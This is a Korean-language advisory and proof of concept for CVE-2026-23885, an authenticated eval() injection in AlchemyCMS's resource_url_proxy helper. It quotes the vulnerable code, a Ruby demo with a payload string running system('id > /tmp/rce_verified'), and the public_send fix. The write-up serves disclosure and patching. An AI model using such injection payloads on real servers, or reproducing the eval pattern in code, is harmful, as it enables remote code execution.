
# CVE-2026-23885에 대한 개념 증명 익스플로잇 AlchemyCMS의 eval() 주입을 통한 인증된 RCE로, 기술 분석 및 수정 지침을 포함합니다.
AlchemyCMS 프레임워크에서 동적으로 평가되는 코드의 지시문 부적절한 중화(CWE-95) 와 관련된 심각한 보안 취약점이 발견되었습니다. 이 취약점은 관리자 권한을 가진 인증된 사용자가 eval() 주입 지점을 통해 호스트 서버에서 임의의 Ruby 코드와 시스템 명령을 실행할 수 있게 합니다.
app/helpers/alchemy/resources_helper.rbAlchemy::ResourcesHelper#resource_url_proxy헬퍼 메서드는 resource_handler 객체의 engine_name 속성을 안전하지 않게 처리합니다. 이 속성은 사전 검증이나 유효성 검사 없이 Ruby 함수에 직접 전달됩니다.
eval()def resource_url_proxy(resource_handler)
if resource_handler.in_engine?
eval(resource_handler.engine_name) # rubocop:disable Security/Eval
else
main_app
end
end
# rubocop:disable Security/Eval 지시문의 존재는 eval() 사용의 보안 영향이 인지되었지만 구현 중에 우회되었음을 확인시켜 줍니다.
이 취약점은 리소스 기반 뷰(예: 사이트 또는 언어)를 렌더링할 때 AlchemyCMS 관리 인터페이스 내에서 트리거됩니다. 공격자가 모듈 구성을 조작하거나 기본 리소스 데이터를 변조할 수 있다면 코드 실행을 달성할 수 있습니다.
다음 스크립트는 취약한 헬퍼 환경을 시뮬레이션하여 임의 코드 실행을 시연합니다:
Ruby
require 'ostruct'
def resource_url_proxy(resource_handler)
if resource_handler.engine_name && !resource_handler.engine_name.empty?
eval(resource_handler.engine_name)
end
end
# 페이로드: 시스템 'id' 명령을 실행하고 증거 파일을 생성합니다
payload = "system('id > /tmp/rce_verified'); 'main_app'"
handler = OpenStruct.new(engine_name: payload)
resource_url_proxy(handler)
실행 시 시스템 명령이 처리되어 공격자에게 서버 환경에 대한 접근 권한을 부여합니다.

이 취약점은 다음 패치 버전에서 해결되었습니다:
수정 사항은 eval() 호출을 public_send()로 대체하여 요청을 의도된 엔진 프록시로 안전하게 라우팅합니다:
Ruby
main_app.public_send(resource_handler.engine_name) if resource_handler.engine_name.present?
CVE 참조: CVE-2026-23885